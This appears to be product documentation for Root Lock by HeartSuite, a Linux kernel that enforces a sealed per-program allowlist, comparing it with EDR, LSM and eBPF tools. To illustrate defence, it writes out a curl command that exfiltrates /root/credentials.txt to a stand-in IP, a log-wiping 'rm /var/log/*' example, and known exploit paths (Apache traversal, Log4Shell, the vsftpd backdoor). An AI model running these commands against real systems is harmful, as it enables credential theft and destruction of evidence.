Two differences carry the position. Every mechanism above narrows the runtime trust boundary to a subset of processes: one container, one labelled domain, one process tree, one observed program. Root Lock narrows it to every program via a system-wide allowlist, root included.

Every competitor above can be turned off by an attacker who already has remote root: kill the agent, unload the module, or set the policy permissive. Root Lock has nothing equivalent to turn off.

Changing the sealed allowlist takes physical presence or the cloud serial console. See Circumvention and recovery.

The May 2026 TanStack npm attack illustrated the trust-boundary distinction from the supply chain direction. The attacker operated inside a legitimate build pipeline using valid credentials.

SLSA provenance, OIDC, and 2FA all functioned as designed. No credential check or trust-chain verification registered anything to block.

Root Lock’s per-program network allowlist bounds what pipeline processes can reach from the host regardless of credential validity; connections to unapproved destinations are refused at the kernel.

What Root Lock complements

These tools do not overlap with Root Lock. They answer different questions, and mature security programs run both.

Root Lock makes a class of attacks impossible rather than merely visible. Your SIEM, NDR, and VA scanner work on what remains: a smaller, more focused set of events.

How Root Lock feeds these tools

Block events reach a SIEM via the local journal under identifier heartsuite (written to /dev/log). One rsyslog rule can forward that identifier; how it lands on the wire (RFC 3164 vs RFC 5424) depends on your rsyslog/journald configuration, not on Root Lock.

:programname, isequal, "heartsuite" @@your-siem:514

The enforcement stream emits one record per denial (HS-PROG-DENY, HS-FILE-DENY, HS-FILE-WDENY, HS-NET-DENY). The alert stream carries aggregated events (new_program_blocked, network_burst, and others). Successful allowlisted work is not streamed.

For push notifications, an HTTPS webhook (JSON; native PagerDuty Events API v2 and OpsGenie Alert API adapters) delivers alert-level events only. Webhook and email timestamps reflect alert evaluation time, not kernel event time; when correlating across sources, account for up to the daemon poll interval (typically 30–60 s).

Every allowlist approval action (programs, file paths, and network destinations) is written to a dedicated, persistent JSONL log that records timestamp, uid, and tty. This gives a machine-readable, session-attributable history of policy changes.

An always-on rotating application audit log records UI and core operational events and errors. Lockdown advisories are generated from verdict logic with direct provenance back to the underlying allowlist state and decision records rather than from unfiltered event dumps.

The combination of the per-decision enforcement stream, the dedicated approval log, and the application audit log produces a reconstructible record that security teams and auditors can use to trace what the system did, when, and why.

Agent-based scanners (Tenable Nessus Agent, Qualys Cloud Agent) run as allowlisted programs. Run the scanner during Setup Mode so Root Lock logs its programs and file access paths, then review and approve the entries through the Dashboard queues. Network-based scans from an external host reach the system over its normal network stack without special configuration.

Where a separate kernel is required

Root Lock deliberately omits overlay filesystems, user namespaces, and the BPF syscall because they are the features attackers use to hide, shadow directories, and reach root. Those workloads are not a fit by design. Run them on a separate system, or use the shipped paths below:

• Kubernetes nodes with dynamic container scheduling after Lockdown. Many instances of the same binary are supported, but new mounts for HPA scale-out or rescheduling are refused. Fixed pod sets before Lockdown work via the Container-host install; see Deployment Scenarios.
• Falco, Cilium Tetragon, bpftrace, and similar eBPF tools. The BPF syscall is deliberately absent. This closes the verifier bypass surface and prevents unloading of enforcement. Observe from adjacent hosts via syslog instead. On-host eBPF tooling is not a fit.
• Hypervisor hosts running VMs via KVM. KVM host features are compiled out to reduce attacker reach. Root Lock runs as a guest, not a host.
• Systems that require rootless containers. Unprivileged user namespaces are omitted; they are a path to privilege escalation without credentials. Use a separate host.

See System Requirements → Software Compatibility Notes for the full list.

For CISO and procurement evaluation of the Root Lock kernel itself in enterprise fleets (including operational models, Secure Boot roadmap, and alternatives), see the Kernel Hardening → Enterprise Adoption Guide.

Circumvention and recovery

Every security system has a known way to be taken out of the picture. Being explicit about it is how customers evaluate fit.

Root Lock’s sealed allowlist is intended to change through these operator paths:

1. Maintenance window. You switch to Setup Mode, make changes, and re-engage Lockdown. Logged and intentional.
2. Lockdown recovery. When Lockdown is active, the allowlist is sealed. Remote root cannot edit it. Recovery requires booting the maintenance kernel, using the Dashboard’s Maintenance ([m]) to remove the seal, and rebooting back. Booting the maintenance kernel requires physical or serial-console access: a keyboard and monitor at the machine, a serial port, a BMC (Dell iDRAC, HPE iLO, and similar), a hypervisor serial console, or your cloud provider’s serial console. An attacker without that console path cannot take this route. On a VM, the hypervisor that owns the guest disk and memory is that outer path. The guest kernel cannot police it.

What this means for security:

• Under Lockdown, an attacker who already has remote root cannot defeat enforcement. There is no agent to kill, no kernel module to unload, and no LSM policy to set permissive. There is also no remote way to force a reboot into the maintenance kernel without console access.
• Supported recovery requires physical or serial-console access: a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. SSH access alone, regardless of privilege level, is not the recovery path.
• Physical or serial-console access always returns control to you. No software applied to the host can prevent console recovery.
• What can still go wrong (beyond physical or serial-console access). On a large kernel, whether every path is actually gated is still an engineering job. That includes seal and control paths that must stay gated under Lockdown (for example sibling attributes or HeartSuite control entry points), an allowlist that approved too much in Setup Mode, and an already-approved program abused as a deputy.
• Seal and control integrity are product contracts, tested on ship pins; check them on the pin you run. This is a different question than whether an agent is still running.

Compare this to the tools in the first table: in most of them, root can turn enforcement off. They kill the agent, unload the module, or set the policy permissive. Root Lock is deliberately not in that category.

Nothing the attacker ran survives a reboot.

To see the three enforcement mechanisms tested against real attacks, including what happens when attackers stay within approved boundaries, see When Root Isn’t Enough.

Privileged access. SOC 2, PCI DSS, and ISO 27001 each expect the organization to restrict and review privileged access. None of them is a single question of the form “can an administrator remotely disable this product?”

Under Lockdown, remote root cannot modify the sealed allowlist or disable Root Lock the way a userspace agent can be killed. Changing the seal takes physical or serial-console access, to boot the maintenance kernel.

That is one technical activity a customer control may cite. It does not satisfy a TSC, an Annex A control, or a PCI requirement by itself. Examiners still test identity, access reviews, logging, and the rest of the control environment.

For kernel-config notes and residual risk on the fielded pin, see Threat model and residual risk.

6 - Containers, microVMs, and the sealed host

Overview: Shared-kernel Docker is not the default on a sealed host. Root Lock by HeartSuite omits overlay filesystems and user namespaces on the Standard-host install because those are the features attackers use to shadow directories and reach root.

The default install is a sealed appliance — a backup receiver, a fixed server, a closed device. When you need containers, two shipped paths cover them: the Container-host install for a long-lived, steady set of images, and Root Lock as the guest kernel inside a Firecracker microVM, a Kata Container, or a plain KVM or cloud VM for untrusted or disposable work.

Why Docker is not the default

Docker, containerd, Podman, and runc isolate processes on the host kernel. That stack needs OverlayFS and user namespaces. On a Standard-host install those primitives are compiled out — they are the attack surface, path to root, and bypass the allowlist model removes. See System Requirements.

A backup receiver that only accepts Restic over SFTP does not need Docker. The Container-host install and microVMs matter when a second job would otherwise force a shared-kernel runtime onto a sealed host.

What Firecracker and Kata are

Industry pattern: platforms that run untrusted or multi-tenant code put Firecracker or Kata under the workload. Everyday microservices still ship Docker/OCI images on a shared-kernel runtime. Firecracker is a trust badge for isolation, not a mass-market brand that replaces Docker.

Two shipped shapes

Container host — a long-lived set on this kernel

The installer detects Docker, containerd, Kubernetes, or CRI-O and offers a Container host or Standard host install. Container-host installs enable overlay filesystem support and adapt Setup Mode for container runtimes.

You review the runtime, overlay mounts, and each image in the Dashboard queues, then engage Lockdown. Containers running at that moment continue. New containers, image pulls, and restarts after exit each need a maintenance window.

This is the path for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that finish before Lockdown. Continuous scheduling, autoscaling, and pod rescheduling after node loss are not a fit — Lockdown refuses the new mounts those moves need.

See Deployment Scenarios → Container hosts.

Guest — Root Lock inside the microVM

  Host (standard Linux or cloud VMM)
       │
       ▼
  Firecracker / Kata / KVM microVM
       │
       ▼
  Root Lock guest kernel
  Setup Mode → allowlist → Lockdown
  (known / trusted workload only)

Run Root Lock as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. Build the allowlist once: run a representative task in Setup Mode, review and approve the tools through the Dashboard queues, then bake that allowlist into the VM image.

Each task VM boots from that image into Lockdown. The allowlist holds for the life of the task. Then the VM is gone.

An attacker who already has root inside the guest cannot turn this off. There is no LSM to unload, no userspace shim to detach, and no agent to kill. This is the path for AI agent sandboxes, fixed-tool automation, and disposable task VMs. See AI agent and automation sandboxes.

Root Lock is not a hypervisor host. Running Firecracker or Kata on a Root Lock kernel so this box becomes the VMM for untrusted tenants is not a supported configuration. KVM host mode is compiled out; the product protects workloads inside a kernel. See Where Root Lock is not a fit.

What to run

Comparison

Root Lock’s job is that programs only do what you approved. MicroVMs are an optional wall next to that seal.

Operator FAQ

Related pages

• Deployment Scenarios — fit / not-fit, AI guest VMs, container hosts
• System Requirements — deliberate omissions (eBPF, FUSE, overlay, KVM host)
• How Root Lock Compares — gVisor and enforcement peers
• FAQs — who it is for; container reference architecture

7 - Security as Economics

Overview: Defeating a host control has a cost, and so does operating one. Root Lock by HeartSuite does not scan, score, or guess — in Lockdown the allowlist entry exists or it does not.

No security control is unconditionally unbreakable. The right question is not “can this be defeated?” but “what does defeating it cost the attacker — and what does operating it cost the defender?”

No false positives in blocking. In Lockdown, Root Lock does not scan, score, or guess. A program either has an allowlist entry for the action it is attempting, or it does not.

Permitted actions pass. Unpermitted actions are blocked. Every blocking decision is exact — not a detection estimate.

The boundary holds regardless of privilege. A process running as root can only reach the files its allowlist entry permits. Credentials, configuration, and data outside that slice are unreachable regardless of privilege. Network destinations outside the allowlist are unreachable the same way.

Under Lockdown the allowlist itself is sealed. Root cannot edit it the way agents or LSM policy can be stopped or set permissive. The question is no longer whether the agent is still running. It is whether Setup Mode approved too much, and whether someone at the console can unseal it.

Each additional step the attacker takes requires a new custom exploit targeted at the specific program and allowlist slice they are confined to. The cost compounds. At some point the attack is no longer worth finishing.

Cost to implement. A finite window: run the programs you want to allow, review and approve through the Dashboard queues, engage Lockdown. Most customers complete it during a standard change window.

Operational cost

Patching urgency. CVE classes that correspond to compiled-out kernel features do not generate emergency patch windows — the feature is absent, and no CVE in that class applies regardless of when the patch ships.

For CVEs in features that are present, a vulnerable program whose allowlist scope is bounded has a structurally limited blast radius. The remediation is real; the urgency is not. Patch batching on schedule, rather than emergency change windows, is the practical result.

Alert reduction. An attack that cannot progress past the kernel gate does not generate a SIEM or EDR alert. A binary that cannot execute never triggers a process-execution event. An outbound connection refused at the kernel never appears in NDR telemetry as a beacon or data-loss event.

This is not alert filtering — the event never occurs. The alert classes this eliminates carry the highest triage cost: unauthorized execution, unauthorized exfiltration, and novel outbound destinations.

Maintenance. No signature updates. No rule libraries. No agent fleet. The allowlist changes when software legitimately changes — new binaries, updated dependencies, changed network destinations — in a maintenance window on your schedule.

The more frequently software changes, the more frequently those windows are needed. For software that updates daily — package managers pulling live repositories, or applications shipping a new binary on each release — a maintenance window is required each time.

That is low overhead on monthly or quarterly patch schedules; at daily cadence it compounds. Root Lock fits well where the software stack is stable or follows a defined update process.

ROI compared

SELinux and AppArmor. LSM policy is a sustained engineering cost: SELinux refpolicy domain authoring, AppArmor profile maintenance, permissive-mode exceptions that accumulate under operational pressure, and policy audits before each OS upgrade. Each policy file is hand-authored and must be updated when software changes.

Root Lock records what programs actually do during Setup Mode and presents it for approval. The difference compounds over years: one observation-driven setup session versus ongoing policy authorship and drift management.

Zafran and risk-prioritization tools. Zafran, Nucleus, Vulcan Cyber, and similar tools correlate CVEs against your deployed controls to identify which patches are actually urgent. They do not enforce anything at runtime.

Root Lock reduces the urgency of items these tools surface: an unpatched CVE in a program whose allowlist scope is bounded has a structurally limited blast radius — a legitimate but lower-priority remediation. The two compose: a risk-prioritization tool can correctly de-prioritize CVEs in Root Lock-bounded programs because the enforcement is verifiable and the blast radius is documented.

Linux EDR. CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint generate alerts that require analyst triage. The attack classes Root Lock prevents — unauthorized binary execution, file access outside approved scope, outbound connections to unapproved destinations — never reach the EDR because the attack cannot progress past the kernel gate.

Fewer alerts is not filtering; it is that the attack class is structurally absent from the host. EDR’s telemetry, behavioural analytics, and incident response capabilities remain valid for what Root Lock does not cover. The honest position: Root Lock changes what the EDR has to process, not whether you run one.

Cost to buy. Root Lock replaces the preventive-enforcement layer of several overlapping tools, leaving detection and response capabilities intact. What that means in practice for each category:

• Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon) — Root Lock removes the BPF syscall by design. On-host eBPF tooling is not a fit. Their preventive role is covered by the allowlist. Budget line removed; stronger prevention gained.
• gVisor — if you are running it solely to protect workloads from root-level compromise inside a container or VM, Root Lock is a direct replacement as the guest kernel. No second userspace kernel layer.
• The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE) — prevention is replaced; telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing for telemetry-only deployments.
• AppArmor and SELinux — no licensing cost, but the policy-authoring overhead is real; see the SELinux comparison above.

Whether the licensing savings cover the Root Lock subscription depends on your current stack. The operational consolidation — no signature updates, no rule libraries, no agent fleet — is consistent regardless.

CTEM programs — Continuous Threat Exposure Management — cover exposure discovery, prioritisation, and validation across a whole estate: continuously mapping what an attacker could reach and ranking what to fix first. That scope fits large organisations managing complex, heterogeneous environments. For most deployments it is broader than the problem and carries corresponding cost.

Root Lock addresses one specific problem: the OS design assumption that grants every running program the file and network rights of the user who launched it. Removing that assumption at the kernel level does not require a continuous discovery and ranking program.

The CISO case. An attacker who already has root cannot go past the programs, files, and IPs already approved. The blast radius is bounded before anything runs. It is not detected after the fact. It is not cleaned up after the fact.

That changes the economics of every attack that reaches the host. It does not eliminate breach risk. It makes moving to the next machine, exfiltration, and privilege escalation substantially more expensive to execute — before detection has a chance to respond.

8 - Where Linux security tools actually sit

Overview: Security audits often group tools by vendor category — EDR, SIEM, NDR — without saying where in the kernel stack enforcement actually happens. Layer placement determines bypass surface: a tool enforcing at Layer 2 cannot be disabled by a mechanism that only reaches Layer 3 or above.

This page maps Linux host security tools to the enforcement layer they occupy.

Layer definitions

The higher the layer, the more layers beneath it an attacker can leverage to disable it. A Layer 5 agent can be killed by a process with root. A Layer 3 LSM policy can be set permissive by root.

A Layer 2 kernel configuration cannot be changed without rebooting into a different kernel. For a visual representation of this by tool, see Kernel architecture.

Tool map

Layer 2 — Kernel-embedded enforcement

Enforcement is part of the kernel binary. Changing it requires a reboot into a different kernel. Remote root is not sufficient to disable it.

Layer 2–3 — Userspace-process-run-as-kernel

gVisor intercepts container syscalls in a userspace process that acts as the container’s kernel, reducing exposure to the host kernel. The sentry process runs in userspace and can be compromised; a bug in its syscall emulation can allow escape.

Root Lock running as a guest kernel inside a gVisor-isolated container is a coherent composition — see How It Compares → gVisor.

Layer 3 — LSM hooks (in-tree)

Policy is applied to a running kernel from outside. Root with the right capability can set SELinux permissive, unload an AppArmor profile, or modify a policy file without rebooting.

Layer 3 — LSM hook + eBPF programs

eBPF programs are loaded into a running kernel at runtime. Root can unload the BPF program or kill the agent that loaded it.

Layer 3–5 — eBPF observability with optional in-kernel kill

These tools span layers depending on configuration: eBPF programs run at Layer 3, the userspace agent sits at Layer 5. The kill capability (where present) runs in-kernel but is loaded and managed by a userspace process.

Layer 4 — Userspace agent sandbox

These tools set up confinement using kernel primitives (seccomp-bpf, Linux namespaces) from userspace. Filters are scoped to a process tree launched by the agent — a sibling process launched without the agent is unaffected.

Layer 5 — Agent-based EDR / XDR

The agent provides detection and response capabilities that Root Lock does not replicate. Most modern breaches include “disable EDR” as an early step — root can kill the agent process, unload the kernel module, or exploit a BYOVD path. Treat these as complementary to Layer 2 enforcement, not substitutes.

Complementary controls (no enforcement overlap)

These tools do not overlap with Layers 2–5 enforcement. They answer different questions and should run alongside host enforcement.

Takeaway

Root Lock is the only product in this map sitting squarely at Layer 2 as a kernel-embedded allowlist enforced across all programs including root. Every other host enforcement tool sits at Layer 3 or higher. Root can turn those off remotely without a reboot.

The Layer 2 position is what makes physical or serial-console access the bypass path.

For the tool-by-tool comparison with bypass analysis, see How It Compares.

9 - When Root Isn't Enough

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user, including as root.

Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace.

In Lockdown, Root Lock blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell.

On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock does. Every program must have an allowlist entry before the kernel will run it. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved.

In Lockdown, the kernel refuses to execute it. The attacker has a file. They cannot run it.

This applies equally to interpreted scripts. A malicious Python script dropped at /tmp/attack.py has no allowlist entry for that path. Root Lock’s Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, this particular gate does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist.

Every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

What Root Lock does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to.

When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker who already has root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate.

The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server. A socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock Compares.

Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries.

When attackers stay within approved boundaries

Root Lock enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell.

If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs.

Root Lock limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

The delayed-activation case is the malicious sleeper: an approved program behaves as expected for months, then uses those same permissions. The execute gate does not fire. In Lockdown, file reads and writes stay inside the program’s allowlist, and outbound destinations stay closed.

Backup recovers protected directories from the write before the damage. It does not stop the first write to an approved path. Per-program-version file isolation, and automatic backup of every data file, are HeartSuite Joint File System (HJFS).

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused.

Tight allowlisting limits the blast radius. Under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown the kernel gates execute, files, and outbound network per program. By design, remote root does not override those gates and has no intended path to change the sealed allowlist while the machine is running.

The files are immutable on disk. The kernel refuses the write. The backup files are protected by the Root Lock kernel itself, not by filesystem permissions. Unapproved programs do not persist across reboot. An already-approved program still has its grants until you change them from a maintenance window. See Circumvention and recovery.

For detection and response when an attack stays within approved boundaries, see How Root Lock Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.